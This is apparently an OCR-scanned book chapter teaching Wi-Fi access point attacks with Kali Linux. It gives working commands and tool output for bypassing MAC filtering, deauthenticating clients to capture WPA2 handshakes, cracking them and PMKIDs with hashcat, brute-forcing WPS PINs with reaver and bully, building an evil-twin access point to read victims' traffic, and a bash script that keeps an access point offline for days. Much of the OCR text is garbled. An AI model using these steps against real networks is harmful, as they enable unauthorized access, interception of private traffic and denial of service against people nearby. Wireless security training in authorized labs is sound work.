Attacking Wi-Fi APs
Hidden SSID’s

Most security engineers are taught to “hide” their SSIDs. The thinking is that by hiding their SSID, only
people who know the SSID will be able to discover and connect to their Wi-Fi AP. Their trust in this
strategy is misplaced.

Whenever a legitimate client tries to connect to an Access Point (AP), both the probe response and
request contain the SSID of the access point. In addition, generally, you do not need the SSID to connect
to the AP, if you have the BSSID (the MAC address) of the AP. As this information is broadcast over the
airwaves, the hacker only needs to use a tool such as airodump-ng or others to view the BSSIDs, as
we saw above.

Defeating MAC Filtering

Again, network security engineers are taught to limit who can access their Wi-Fi AP by using MAC
filtering. This technique limits who can access the AP by MAC address (the globally unique identifier on
every network interface). The security engineer puts the MAC addresses of all the legitimate users and
their systems into the administrator interface of the AP. This means that these MAC addresses are
allowed to connect, and the AP rejects everyone else. Unfortunately, this technique fails miserably in the
face of some simple techniques.

The hacker can use airodump-ng to find the MAC addresses of clients that have authenticated to the AP.

kali > airodump-ng -c 11 -a -bssid <mac>

Once the hacker knows the MAC address of the authenticated client, they can simply “spoof” that MAC
address. This requires that we take down the interface:

kali> ifconfig wlanO down

Then, use macchanger to spoof the MAC address making it the same as the connected client’s MAC.
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kali > macchanger —-m <mac> wlanO

:~# ifconfig wlan® down
:~# macchanger --mac AA:BB:CC:DD:EE:FF wlan®@

Current MAC: 32:b7:60:71:76:92 (unknown)
Permanent MAC: 00:c@:ca:59:12:3b (ALFA, INC.)
New MAC: aa:bb:cc:dd:ee:ff (unknown)

Now, bring back up the interface, and it will have the same MAC address as one of the systems that
allowed it to connect to the AP. Simple!

kali > ifconfig wlanO up

Once the attacker’s MAC address matches one in the MAC filtering whitelist, they can connect to the AP
without interference.

Attacking WPA2-PSK

WPA2-PSK is the most widely used security protocol among Wi-Fi routers. Although WPA3 has just
been released, it has not yet been widely deployed. As a result, let’s focus on WPA2 cracks.

Unlike some earlier Wi-Fi hacking techniques, such as WEP (where you could crack the password in
minutes using statistical techniques), the strategy with WPA2 is similar to our password-cracking
techniques in Chapter 8. With WPA2-PSK, we first capture the hash of the password, and then we apply a
wordlist in a hash cracking program such as hashcat to find a match.

The key is to grab the password hash as it is transmitted through the air. WPA2-PSK has what is known
as the four-way handshake, where the password hash is transmitted across the air between the client and
the AP. We can capture it there and then apply our familiar techniques and resources for password hash
cracking.
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Supplicant
Master keys: PMK and GMK
Temporal keys: PTK and GTK

‘ PMK ‘

Message 1: EAPOL-Key (ANonce, Unicast)

"
. ]

Authenticator

PMK | GMK

a) PMK is known a) PMK is known
b) Generate SNonce b) Generate ANonce

Derive PTK

PTK | Message 2: EAPOL-Key (SNonce, Unicast, MIC)

»

-~ r Encrypted GTK

Derive PTK
If needed
generate GTK

Encrypted GTK)

Message 3: EAPOL-Key (Install PTK, Unicast, MIC,

Message 4: EAPOL-Key (Unicast, MIC)

Install PTK and GTK
1

| |EEE 802.1X controlled port
PTK  GTK unblocked

Install PTK

PTK

WPA2-PSK 4-Way Handshake

The first step is to put our wireless network card in monitor mode.

kali > airmon-ng start wlanO

Then we start airodump-ng to collect information and packets.

kali > airodump-ng wlanOmon

|' PTK

r GTK
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CH 10 ][ Elapsed: 0 s ][ 2019-11-01 09:26

PWR Beacons # 74 MB ENC CIPHER AUTH

MAC Addresses -55 : ) g 58 WPAZ CCMP  PSK HP-Print-E3-Deskje
of AP's -1 - -1 <length: @©>

-63 ) 0 130 WPA2 CCMP TPTV1

-66 : ) 0 130 WPA2 CCMP <length: @8>

-77 ) : 195 WPA2 CCMP CenturyLink6236
-78 6 ) 0 0 54e WEP WEP APHU1

STATION A Rate Lost Frames Probe

Mandelaz2

We will likely want to focus our packet capture on a single AP on a single channel. We can do that by
entering the following:

kali > airodump-ng -bssid <BSSID of the Target AP> -c <the channel the
AP is transmitting on> --write <file name to save the hash> wlanOmon

:~# airodump-ng --bs aa:bb:cc:dd :ff -c 11 --write HackersAriseCrack wIaan@nI

If you are impatient like me, you can bump off a client who is already connected to the AP, and then
when they reconnect, you will capture their handshake using aireplay-ng such as;

kali > aireplay—-ng —-deauth 100 -a AA:BB:CC:DD:EE:FF wlanOmon

L~ --deauth 188 -a 9C:3D:CF wlan@mon
10:39:02 ai g or a8 (BSSID: 9C:3D:CF:6D:8F:E®) on channel 11
NB: this attack i ective when ta

a con o nt's mac>).

10:39 nding (co broadcast -- BSSID: [9C:
10:39:6 nding (co broadcast -- BSSID: [9C:
10:39:6 nding ( broadcast -- : [9C:
10: Sending ( broadcast -- L : [9C:
10: nding (co broadcast -- L : [9C:
10: : nding (co broadcast -- BSSID: [9C:
10:39:08 nding (co broadcast -- BSSID: [9C:
10:39:08 nding ( broadcast -- : [9C:
10: : @ nding ( = broadcast -- B5SID: [9C:
10:39:6 Sending : (code broadcast -- BSSID: [9C:3D:C

W W w

w

W W ww

D:
D:
D:
D:
3D:
D:
D:
D:
D:
D

w
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Where:
aireplay-ng
--deauth 100
-a <BSSID>

wlan0mon

is the command
is the option to send 100 deauth frames into the AP
is the BSSID of the target AP

is your wi-fi adapter in monitor mode

Now, when the client re-authenticates to the AP, airodump-ng will automatically detect the four-way

handshake, capture it and write it to the file you designated (HackersAriseCrack).

CH 11 ][ Elapsed: 3 hours 15 mins ][ 2019-11-03 11:50 ][ WPA handshake: 24:05:88:00:18:43

CH 4 ][ Elapsed: 3 hours 16 mins ][ 2019-11-03 11:51 ]

When we do a long listing on our working directory, we will find five files created by airodump-ng. The
first one, Hackers—-AriseCrack—-1.cap contains the hash for cracking.

root root 650 Nov 22 a ack-01.cap Q:
root root 236 Nov 2 a i r 5

root root : Nov
root root 2. Nov
root root 05 Nov

Now that you have the handshake, you simply need to use a hash cracking program such as hashcat to

brute-force the password. Admittedly, this can be a slow and tedious process, making your selection of a

good wordlist critical.

kali > hashcat

-m 16800 HackersAriseCrack-01l.cap

/root/topl0000passwords.txt
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If you are at first unsuccessful, create a custom wordlist for the target using ceWL, cup, crunch, or all
three. With this new custom wordlist, try once again to crack the hash with hashcat.

WPS

Many people who buy and use Wi-Fi APs are technically challenged. For them, setting up a Wi-Fi AP is a
daunting task. To remedy this situation, the industry developed a technology to make setting up a Wi-Fi
AP as easy as pushing a button! What could possibly go wrong?

The new technology became known as Wi-Fi Protected Setup or WPS. It enabled the user to setup their
Wi-Fi access point by simply pressing a button on the AP. This system relies upon a PIN being
transmitted between the AP and the client to initiate their “secure” connection.

This PIN uses only digits from 0-9 (no special or alphabetic characters). The PIN is eight characters long
(all characters are digits), and the eighth character is a checksum. To make matters worse--of these seven
remaining characters-- the first four are checked, and the last three are checked, separately. This means
that the number of possibilities is 10* (10,000) + 103 (1000) = 11,000 possible PIN’s! With that small
number of PINs, our computer can test each in a matter of hours.

Although this vulnerability was mitigated with the development of WPS 2.0 in 2012, there are still a
number of APs with WPS 1.0 and vulnerable to this attack (I estimate about 10-20 percent)

The crack the WPS PIN, you will need the following information;

1. The name of your interface (usually wlanOmon)
2. The MAC Address of the AP

3. The ESSID of the AP

4,

The channel that the AP is broadcasting on

We can gather all that information from our airodump-ng screen.

CH 1@ ][ Elapsed: © s ][ 2019-11-01 09:26
BSSID PWR Beacons #Data, #/s Z ENC CIPHER AUTH ESSID

MAC Addresses -55
of AP's -1
-63
-66
-77
-78

[¢] [¢] 3 WPAZ CCMP PSK HP-Print-E3-Deskje
0] 0 - - <length: @>

[c] [c] 130 WPA2 CCMP TPTV1

0] 0] 130 WPAZ CCMP <length: ©=

[0] [0] 195 WPAZ CCMP S CenturyLink6236

[¢] [¢] D 54e WEP WEP APHU1

[EN]

2
2
>

o

STATION PWR Rate Los Frames Probe

B:63:29 00:1E:8F:8D:18:25 -16 0 - 42 Mandelaz
iated) 52:CC:23:F6:58:E2 -78 0 - g
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To find APs with WPS;, you can run the wash command followed by the name of your interface

(wlanOmon).

kali > wash

MAC

:~# wash

Addresses

-1 wlanOmon

-i wlan®@mon

dBm

Vendor

Quantenn
Broadcom
Broadcom
AtherosC

sC

Ath sC
Broadcom
Broadcom
Broadcom
Ath sC
Quantenn

Broadcom
Broadcom
AtherosC

2.
2.
2.
2.
2.
2.
2.
2.
2.
2.
2.
2.
1.
2.
2.
2.

eforavirus5
MOT09818
CenturyLink9930
vsimpsol
HOME-15EB-2.4
PREB-NET-2.4
HOME-FF2B-2.4
CenturyLink6236
METGEARO3
CenturyLink8327
Lasson
GuinnessJager
NTGR_VMB 1462061001
MOTOROLA-710EB
CenturyLink2925
Mandela

As you can see above, there were a number of APs available near my office, and of those, one is still
using WPS 1.0 NTGR_VMB 1462061001).

Now, with the information from wash and airodump-ng, we can brute force the PIN with either

bullyor reaver.

Touse bully, enter:

kali > bully wlanOmon -b 00:11:22:33:44:55 -eNTGR VMB 1462061001-c 11

To use reaver, enter the following:

kali > reaver

-1 wlanOmon

-b 00:11:22:33:44:55

—VVv
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:~# reaver -i wlan@mon -b 9C:3D:CF

Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetso
1.com=>

[+] wWaiting for beacon from 9C:3D:CF:6D:8F:E0

[+] Switching wlan®mon to channel 1

[+] Switching wlan®mon to channel 11

[+] Received beacon from 9C:3D:CF

[+] ing pin "12345670"

[+] ing authentication request

[+] g ciation re

[+] Associated with 9C:3D:C (ESSID: NTGR VMB 1462061001)

Make certain that you replace the MAC address with the actual MAC address of the target AP, the actual
SSID of the target AP, and the actual channel the AP is broadcasting on.

Evil Twin Attack (MiTM)

Sometimes, rather than attacking the AP password, the attacker wants to view all the target’s traffic. In
other words, the attacker wants to “eavesdrop” on their traffic. Eavesdropping might reveal passwords on
other accounts, credit card numbers, or confidential meetings and plans. One way of doing that is to create
an Evil Twin AP. The Evil Twin is an AP with the same SSID as the target AP. If the attacker can get the
target to connect to their Evil Twin AP, then all the traffic will traverse the attacker’s computer. This
enables the attacker to eavesdrop (listen) to the target’s traffic and even alter the messages.

Build our Evil Twin

Let’s start building our Evil Twin. To do so, we need another tool from the aircrack-ng suite, airbase-
ng. It converts our Wi-Fi adapter into an AP, broadcasting and accepting client connections. We will also
need two network interfaces. Here, I will be using my Alfa card as an AP and Ethernet connection
(eth0) to connect to the Internet.

kali > airbase-ng —-a aa:bb:cc:dd:ee:ff --essid hackers-arise -c 6
wlanOmon

bb:cc:d --essid hackers-arise -c 6 wlan@mon

:~# airbase-ng -a aa:
Created tap interface ato

Trying to t MTU on at@ to 1500
Trying to t MTU on wlan@mon to 1800
Access Point with BSSID AA:BB:CC:DD:EE:FF started.

Where:

aa:bb:cc:dd:ee:ff 1s the MAC address of the new Evil Twin AP
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--essid hackers-arise is the name of the Evil Twin AP
-6 1s the channel we want it to broadcast on

wlanO0mon 1s the interface we want to use as an AP

Now that we have our wireless card up as an AP let’s check our system again for wireless extensions with
iwconfig.

kali > iwconfig

:~# iwconfig
ss extensions.

lo

ethod ] extensions.

wlan®mon IEEE 802.11 ode:Monitor Frequency:2.437 GHz Tx-Power=20 dBm
Retry short RTS thr:off Fragment thr:off
Power Management:off

no wire

As you can see, we now have a new wireless interface, at 0, but with no wireless extensions. We need to
fix that.

We need to build a tunnel from at 0 to our Ethernet interface (eth0) so that when someone connects to

our AP (at0), their traffic traverses our system and out to the Internet via the eth0. The next set of four
commands does exactly that!

kali > ip link add name ha type bridge
kali > ip link set ha up
kali > ip link set ethO master ha

kali > ip link set at0 master ha

Qa
=1
=

name ha type bridge
ha up

—+

5€
set
5€E

(i
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Now that we have built our tunnel, let’s run i fconfig again.

:~# ifconfig
etho: ags=4163<UP,BROADCAST, RUNNING,MULTICAST> mtu 1500
i 68.0.243 netmask 255.255.255.0 broadcast 192.168.0.255
80::20c:29ff: 9:c941 prefixlen 64 id ex20<link=
00:0c:29:99:¢9:41 txqueuelen 1000 e
ets 129954 bytes 170171142 (162.2
dropped © overruns @ frame
s 16060 bytes 1 394 (1.1 MiB)
X errors © dropped © overruns © carrier ® collisions ©

ha: flags=4163<UP,BROADCAST,RUNNING,MULTICAST= mtu 1580
6 : 86Tf:fe97:7ce3 prefixlen 64 scopeid 0x20<link=
{} ether 80:0c:29:99:¢9:41 txque 1000 (Ethernet)
47 byt 13004 (12 KiB)
0 dropp ® overruns @ frame @
s 14 byt 1220 (1.1 KiB)
0 dropped @ overruns © carrier @ collisions @

As you can see, we now have a tunnel named ha (hackers-arise) that takes traffic from at 0 (our AP) to
our Ethernet connection and out to the Internet. In this way, whenever anyone connects to our AP, their
traffic goes through our system and then out to the Internet totally transparently.

We now need to set up a DHCP server (it assigns IP addresses to those who connect) to the tunnel we
created.

kali > dhclient ha &

-~# dhclient ha &

[1] 1995

This starts the DHCP service (dhclient) on our tunnel (ha) and then puts the service into the
background (&).

To get the clients to connect to our new Evil Twin AP, we need to knock them off the legitimate AP. We
can do this the same way we did above in our WPA?2 attack. We use the ai replay-ng command and
send de-authentication frames into the AP (sometimes, this can DoS some of the older AP hardware).
This will make the legitimate AP unavailable to the clients, and they will connect to the Evil Twin
instead!

kali > aireplay-ng —-deauth 1000 aa:bb:cc:dd:ee:ff wlanOmon —-ignore-
negative-one

Now open Wireshark. When the clients reconnect to your Evil Twin, their traffic traverses unencrypted
through your system. You should be able to view it on Wireshark.
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Notice that when you open Wireshark, a new interface—our tunnel “ha”—appears in the GUI. Click on

that interface to collect the packets traversing our tunnel.

The Wireshark Network Analyzer

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

- BN O

C= [RE
AE @ D[XE QA « » .01« » Q @ @ IF
|.1 ‘Appt\;a display filter ... <Ctrl-/> = | '] Expression.. =+
Welcome to Wireshark
Capture
..using this filter: | |Ente| a capture filter .. ~ | Allinterfaces shown ~
etho rJy 3
wlanOmon ponatnt
h e
any pori)
Loopback: lo
nflog
nfqueue b
Learn
User's Guide - Wiki - Questions and Answers - Mailing Lists
You are running Wireshark 2.4.5 (Git v2.4.5 packaged as 2.4.5-1).
# Ready to load or capture No Packets Profile: Default
e e
. . 5 . .
You can now view all the client’s traffic in Wireshark!
r
Capturing from ha </ [- O <]
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
ma® o X € o « » 0 e s ® @ @ ¥
|1‘Applyad\splay filter .. <Ctrl-/> = | '1 Expression... = +
No. Time Source Destination Protocol Length Info =
86 10.042153002 192.168.1.1 239.255.255.250 SSDP 316 NOTIFY * HTTP/1.1
87 10.045421866 192.168.1.1 239.255.255.250 SSDP 371 NOTIFY * HTTP/1.1
88 10.049329584 192.168.1.1 239.255.255.250 SSDP 379 NOTIFY * HTTP/1.1
89 10.052280616 192.168.1.1 239.255.255.250 SSDP 316 NOTIFY * HTTP/1.1
90 10.055558933 192.168.1.1 239.255.255.250 SSDP 307 NOTIFY * HTTP/1.1
‘ v
» Frame 1: 381 bytes on wire (3048 bits), 381 bytes captured (3048 bits) on interface 0
» Ethernet II, Src: Cisco-Li 97:4f:48 (©0:25:9c:97:4f:48), Dst: IPvamcast 7f:ff:fa (01:00:5e:7f:ff:fa
» Internet Protocol Version 4, Src: 192.168.1.1, Dst: 239.255.255.250
» User Datagram Protocol, Src Port: 1980, Dst Port: 1968
» Simple Service Discovery Protocol
[ »
00 5e 7f ff fa 00 25 9c 97 4f 48 @8 00 45 00 i % ..0H..E =
6f 99 d6 00 00 04 11 6Ga 04 c® a8 01 01 ef ff N PR PR
fa 07 6c @7 6c 01 5b 2a c@ de 4f 54 49 46 59 ...1.1.[ *.NOTIFY
2a 20 48 54 54 50 2f 31 2e 31 od @a 48 6f 73 * HTTP/ 1.1..Hos
3a 32 33 39 2e 32 35 35 2e 32 35 35 2e 32 35 t:239.25 5.255.25
3a 31 39 30 30 0d Pa 4e 54 3a 75 72 6e 3a 73 ©:1900.. NT:urn:s
68 65 6d 61 73 2d 77 69 66 69 61 6c 6c 69 61 chemas-w ifiallia
0870 63 65 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a nce-org: service: ~
@ 7 ha: <live capture in progress> Packets: 90 - Displayed: 90 (100.0%)  Profile: Default
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To follow a stream of one client, right-click on a packet in the upper window and click on “Follow

Stream.”

A “wi-Fi

File Edit Viev Go Capture Analyze Statistics Telephony Wireless Tools Help

mage

RE Qo=

stEEaaan

Time
11124 126.489466
11125 126.538898
11126 126.531002
11127 129.282382
11128 129.282697
11132 129.313694
11133 129.314744
11137 129.358611
11138 129.369057

Source
192.168.1.167
172.217.3.4
192.168.1.107
192.168.1.187
192.168.1.167
162.125.34.129
162.125.34.129
162.125.34.129
192.168.1.167

Destination
172.217.3.4
192.168.1.167
172.217.3.4
162.125.34.129
162.125.34.129
192.168.1.167
192.168.1.107
192.168.1.107
162.125.34.129

Frame 11110: 54 bytes on wire (432 bits), 54 bytes capt
Ethernet II, Src: Cisco-Li_97:4f:48 (00:25:9c:97:4f:48)
Internet Protocol Version 4, Src: 192.168.1.1, Dst: 192
Transmission Control Protocol, Src Port: 8@, Dst Port:

Protocol  Length Info

e 54 51016 + 443 [FIN, ACK] Seqel Ack=l Win=65 Len=o
TCP 54 443 » 51016 [FIN, ACK] Seq=1 Ack=2 Win=285 Len=0
TCP 54 51016 + 443 [ACK] Sequ2 Acks2 Wins6S Lens0

TLSv1.2 153 Application Data
TLSvi.2 379 Application Data
TCP 60 443 » 50586 [ACK] Seq=899 Ack=994 Win=32 Len=8
TLSvi.2 96 Application Data
TCP 60 443 » 50586 [ACK]
TR S4 SASRA -+ 443 larkl

Mark/Unmark Packet
Ignore/Unignore Packet
Set/Unset Time Reference
Time Shift...

Packet Comment...

Edit Resolved Name

Apply as Filter

Prepare a Filter

Conversation Filter

Colorize Conversation
CTD

Ctrl+M
Ctrl+D
Ctrl+ T
Ctrl+ShiftsT
Ctri+AltsC

Seq=941 Ack=1319 Win=84 Len=@
Seq=1319 Ack=941 Win=67 Len=o

Follow

TCP Stream Ctrl+ Alt+ Shift+T

30 e3 7a 55 3¢ 85 @0 25 9c 97 4f 48 08 00 45 00
@0 28 bl cc 40 00 40 96 05 47 c@ a8 @1 81 c@ a8
@1 6b 88 50 c7 6b 8@ @8 fd bd 65 e5 e2 bf 58 11
17 70 06 38 00 00

Copy

Protocol Preferences
Decede As...

Show Packet in New Window

Now you should be able to see and read all that client’s traffic!

Denial of Service (DoS) Attack

As we have seen, there is a Wi-Fi protocol frame known as the de-authentication (deauth) frame. It can be
used to knock users off the AP. We used it above to de-authenticate users forcing them to re-authenticate
in the WPA2-PSK attack and knock out the legitimate AP in the Evil Twin hack. We can also use that
frame and aircrack-ng suite to create a Denial of Service (DOS) against the AP.

We can simply use this command to knock users off the AP. As I mentioned earlier, in some older APs,
this will knock out the AP entirely and force the admin to reboot the AP.

To do so, we simply need to enter:

kali > aireplay-ng -deauth 100 -a <BSSID> wlanOmon

91| Page



:~# aireplay-ng - auth 100 -a 9C:3D:CF wlan®mon
(BSSID: 9C:3D:CF:6D:8F:E0) on channel 11

[9cC:

[9cC:

[9C:

[9C:

( -- [9cC:

ing DeAuth ( o br -- BSS [9C:
ing DeAuth (cod o broadca -- BS [9cC:
ing DeAuth (code 7) to bro ast -- BSSID: [9C:
ing DeAuth (code 7) to broadca -- : [9C:
ing Defuth (co 7) to broadc - : [9C:

Wwwwwwwww
[ e B e B e o B o o e e i |

w

This will knock everyone off the AP during the duration of the sending of the deauth frames. They can
reconnect then afterward. What if we wanted to keep the AP offline indefinitely? We could keep running
this command over and over again, OR we could summon up our BASH scripting skills (for BASH
scripting, see Linux Basics for Hackers) to create a simple script that kept running this command at
regular intervals.

This simple BASH script periodically sends these de-authenticate (deauth) frames to the AP, thereby
knocking all the clients off and disrupting their Internet access. Then, we put our attack to “sleep” for a
period of time and restart the attack, knocking everyone off again.

To do so, open Leafpad (MousePad), vim, or any text editor and enter the following;

F
*De Auth Script

File Edit Search Options Help
#! /bin/bash

for i in {1..5000}

do
aireplay-ng deauth 1000 - a aa:bb:cc:dd:ee:ff wlanB@mon
sleep 60s
done
Line #1 - declares that this is a BASH script
Line #3 - starts a for loop starting with one and running through until 5000 iterations
Line #S5 - begins the do
Line #7 - is our aireplay—-ng command that sends the deauth frames to the selected AP BSSID
Line #9 - puts the script to sleep for sixty seconds
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Line #11 - completes the do

The script will then send deauth frames to the AP every 60 seconds for 5000 iterations or about three
days! Of course, for shorter or longer periods of time, simply adjust the second number in the for clause
(5000).

PMKID Attack

In August 2018, the developers of hashcat announced they had found a new attack against WPA2-
PSK. As we saw above, the cracking of WPA2-PSK involves temporarily disconnecting a client from the
AP in order to get them to re-connect, where we then capture the hash in the 4-way handshake. The good
folks at hashcat found that they could get the password hash without the need for a client to connect,
saving us one step and significant time and trouble.

The PMKID attack is capable of getting the information for the WPA2-PSK brute-force password attack
by grabbing a single frame. That frame, the RSN IE, contains all the information we need, and it doesn’t
require a client to connect!

How It Works

When your wireless network adapter starts up, your system begins to look for known networks to connect
to. It ’probes” for known SSID’s to connect to. If the AP is in range, the AP will respond to the probe.
The AP response is the RSN (Robust Security Network). Your network adapter then responds with an
Authentication Request (AR). The Authentication Request/prompts the AP to send its own authentication
frames. When the Wi-Fi adapter receives this authentication request, it will send an Association Request
to the AP with ESSID and RSN. The AP responds with an EAPOL frame that may contain the PMKID.
This PMKID contains:

PMK

PMK Name

AP’s MAC Address

4. Stations MAC Address

w =

All this information is then hashed through the HMAC-SHA1-128 algorithm. This attack is successful by
grabbing the PMKID, stripping out all the information but the password hash, and then running that hash
through a hash cracker, such as hashcat.

Let’s get started!

The tools we need for this attack are not built into Kali by default, so we will need to download them
from github and build them.

First, we need the hcxdumptool. Using git clone, we can download it from www. github.com by
entering;

kali > git clone https://github.com/ZerBea/hcxdumptool.git
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:~# git clone https://github.com/ZerBea/hcxdumptool.git
Cloning into 'hcxdumptool'...

remote: Enumerating objects: done.
remote: Counting objects: 1@ (6/6), done.

remote: Compressing objects: 100% (4/4), done.

remote: Total 1839 (delta 2), reuse (delta 2), pack-reused 1
iving objects: 100% g 839) ©.85 KiB | 1.54 MiB

lving deltas: 1060%

Then, navigate to the new hexdumptool directory;

kali > cd hcxdumptool
..and make and install this tool.
kali >make

kali >make install

:~# cd h umptool
1cxdumptool# make
cc - -Wa - ra -std=gnu99 -o hcxpioff hcxpioff.c

cc - -Wa - ra -std=gnu99 -o hcxdumptool hcxdumptool.c

wcxdumptool# make install
cc -03 - - ra -std=gnu99 -o hcxpioff hcxpioff.c

cc -03 - xtra -std=gnu99 -o hcxdumptool hcxdumptool.c
install -m @755 -D hcxpioff /fusr/local/bin/hcxpioff
install -m 8755 -D hcxdumptool /fusr/local/bin/hcxdumptool
rm -f hcxpioff

rm -f hcxdumptool
rm -f *.0 *~

Next, we need the hcxtools. Just like the hcxdumptool above, we can download and install it by

entering;

kali >git clone https://github.com/ZerBea/hcxtools.git

kali >cd hcxtools

kali >make

kali >make install
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We now need to place our wireless adapter into monitor mode again.

kali >airmon-ng start wlanO

With the wireless adapter in monitor mode, we can now probe the available APs for their PMKID.

kali >hcxdumptool —I wlanOmon —o HackersArisePMKID —enable status=1

:~/hcxdumptool# hcxdumptool -i wlan@mon -o HackersArisePMKID --enable status=1

mptool)
with pid 1009
mptool)
tor interface

start capturing (stop with ctrl+c)
NMEA ©183 SENTENCE

INTERFACE wlan@mon
INTERFACE

FILTERMODE.
PREDEFINED

9193397ade
: 18bffc756052!

PMKID: 0 6fcafas2 (s g
PMKID: 0 0cf2954b (C Link8327)
0 PMKID: a 0 103b00720c45 (NTGR_VMB_14
PMKID: e 404815493705bb8d (CenturyLink9930)
PMKID: 4 08 3d (Tes
> 10133104b82b PMKID: 4 4 (CenturyLink2925)

As you can see above, hexdumptool is capable of pulling the PMKID from many of the Wi-Fi APs in the
area. It likely won’t be able to pull all of them, but it usually can pull most of them (80-90 percent).

Note that our capture file has multiple PMKID’s. It’s likely we only want to crack the PSK of one AP. To
do so, let’s run the hcxdumptool with a filter for just a single target AP. Go back to our airodump-
ng terminal and select the BSSID of the target AP. Then create a simple text file with the BSSID of the
target AP. We can use cat to create a simple text file named “targetBSSID’.

Make certain that the file does not contain any colons “:” or spaces.
kali > cat > targetBSSID <the target AP’s BSSID>

Exit cat by entering CTRL+D.

Now that we have the BSSID in a plain text file, we can use it in hcxdumptool filter for that target AP
and place the target’s PMKID into our output file.

To do so, enter:

kali > hcxdumptool -I wlanOmon —-o HackersArisePMKID -enable status=1 -
filterlist ap=targetBSSID -filtermode=2
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:~# hcxdumptool -1 wlan@mon -o HackersArisePMKID --enable_status=1 --filterlist_ap=targetBSSID --filtermode=2

initializati
with pid 558
umptool)
th pid 1009
umptool)
y a monitor interface
onitor mode

start capturing (stop with ctrl+c)
NMEA ©183 SENTENCE :
wlan@mon
00c@ca59123a
rt28eeusb

FILTERMODE. ...

PREDEFINED ACC

MAC ACCESS POINT aca (incremented on every new client)

MAC CLIENT 2504abd8c

REPLAYCOUNT. 09

ANONCE. ... 73bd9d13bc343d967babd1152bdcazbdfez2 d7f6183989ac
1 998c0df78e9e9cf5lebbe 452d795fa8 354 8079d222e94eb3:

PMKID:133194ebf9. e7l190f2aaf5e352f

As you can see above, hcxdumptool focused on that one AP and placed the PMKID into our file
“HackersArisePMKID”!

Convert Dump to Hashcat Format

To convert the HackersArisePMKID file into a format that hashcat can work with, we need to use
the hcxcaptool. Make certain you are in the same directory as the HackersArisePMKID file and
enter:

kali > hcxcaptool -z hashoutput.txt HackersArisePMKID

Now that we have stripped out all the superfluous information, we can send this hashoutput. txt file
to hashcat and crack it! Note the —m 16800 in this command represents the appropriate hash
algorithm for this hash.

kali > hashcat -m 16800 hashoutput.txt topl0000passwords.txt

:~# hashcat -m 16800 hashoutput.txt tople@e@passwords.txt

‘hashcat (v5.1.0) starting...

Summary
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Wi-Fi or IEEE 802.11 is still fertile ground for hacking after twenty years of patching and security
upgrades. It’s critical that the attacker selects the proper strategy to be successful and not waste their time
and resources. The WPA2-PSK attacks using the 4-way handshake, or PMKID can be very time-
consuming. If the AP has WPS enabled, this attack by bully or REAVER can take just a few hours (it
only requires 11,000 attempts). If all you need is to eavesdrop on the target’s Wi-Fi traffic, the Evil Twin
attack can be very effective.

Exercises:
1. Use iwconfig to view all your wireless connections
2. Use airmon-ng to place your wi-fi adapter into monitor mode
3. Use airodump-ng to find all the APs and clients in your range
4. Use ireshark to filter out any traffic not coming from your wi-fi connection
5. Use wash to find any devices using WPS in your range
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Chapter 6
Bluetooth Networks

Today, Bluetooth is built into nearly all our gadgets.
These include our computers, smartphones, iPods,
tablets, speakers, game controllers, and many other
devices. In this series, we will be focused on mobile
hacking devices, tablets, and phones, as they are the
most fertile ground for hackers. The ability to hack
Bluetooth can lead to the compromise of any information
on the device (pictures, emails, text, etc.), control of the
device, and the ability to send unwanted info to the device.
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Before we start hacking Bluetooth, though, we need to understand the technology, the terms, and the
security that is built into Bluetooth if we want to hack it successfully. In a short article like this, I
can't convey an in-depth understanding of Bluetooth, but I do think I can give you the basic
knowledge that you can use in subsequent tutorials/hacks.

Bluetooth Basics

Bluetooth is a universal protocol for low-power, near-field communication operating at 2.4 - 2.485
GHz using spread spectrum, frequency hopping at 1,600 hops per second (this frequency hopping is a
security measure). It was developed in 1994 by Ericsson Corp. of Sweden and named after the 10th-
century Danish (Sweden and Denmark were a single country in the 10th century) King Harald
Bluetooth.

The minimum specification for Bluetooth range is 10 meters, but there is no limit to the range that
manufacturers may implement in their devices. Many devices have a range as long as 100 meters.
With special antennas, we can extend the range even further.

When two Bluetooth devices connect, this is referred to as pairing. Nearly any two Bluetooth devices
can connect to each other. Any discoverable Bluetooth device transmits the following information:

Name

Class

List of services
Technical information

When the two devices pair, each exchanges a pre-shared secret or link key. Each stores this link key
to identifying the other in any future pairing.

Every device has a unique 48-bit identifier (a MAC-like address) and usually a manufacturer-
assigned name.

Here is a diagram of the Bluetooth pairing process. Although much more secure in recent years, it is
still vulnerable, as we will see in future tutorials in this series.
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Enter Enter
Passkey/PIN Passkey/PIN
Random Number Random Number
Generated Generated
Authentication Authentication
Key Created Key Created
Pairing
Random Number Random Number
Generated Generated
Link Key Created Link Key Created
Random Number Random Number
Generated Generated
Encryption Key Encryption Key i
Created Created
. ‘ ST e .
: X Session
Encrypt/Decrypt Encrypt/Decrypt
Master Slave
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Bluetooth devices create what is called a piconet or very small net. In a piconet, there is one master
and up to seven active slaves. Because Bluetooth uses frequency hopping (frequencies change 1,600
times per second), these devices' communication doesn't interfere with each other, as the chances of
two devices using the same frequency is very small.

Basic Linux Bluetooth Tools

The Linux implementation of the Bluetooth protocol stack is BlueZ. Most Linux distributions have it
installed by default, but if not, you can usually find it in your repository. In our Kali Linux, as you
would expect, it is installed by default.

BlueZ has a number of simple tools we can use to manage and eventually hack Bluetooth. These
include:

o hciconfig: This tool operates very similarly to ifconfig in Linux, except that it operates on the
Bluetooth devices. As you can see in the screenshot below, I have used it first to bring up the

e Bluetooth interface (hci0) and second, query the device for its specifics

o hcitool: This is an inquiry tool. It can provide us with device name, device ID, device class,
and device clock.
e hcidump: This tool enables us to sniff Bluetooth communication.

ACL MTU: 31G:16 SCO MTU: &4:8

Bluetooth Protocol Stack

The Bluetooth protocol stack looks like this.
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WAP
AT Commands
UDP/TCP sDp

RFCOMM

' Audio
L2CAP

Host Controller Interface (HCI)

LMP

‘ Baseband

Bluetooth devices don't need to use all the protocols in the stack (like the TCP/IP stack). The
Bluetooth stack is developed to enable the use of Bluetooth by a variety of communication
applications. Generally, an application will only use one vertical slice of this stack. The Bluetooth
protocols layer and their associated protocols are listed below.

Bluetooth Core Protocols Baseband: LMP, L2CAP, SDP

Cable Replacement Protocol: RFCOMM

Telephony Control Protocol: TCS Binary, AT-commands

Adopted Protocols: PPP, UDP/TCP/IP, OBEX, WAP, vCard, vCal, rMC, WAE

In addition to the protocol layers, the Bluetooth specification also defines a host controller interface
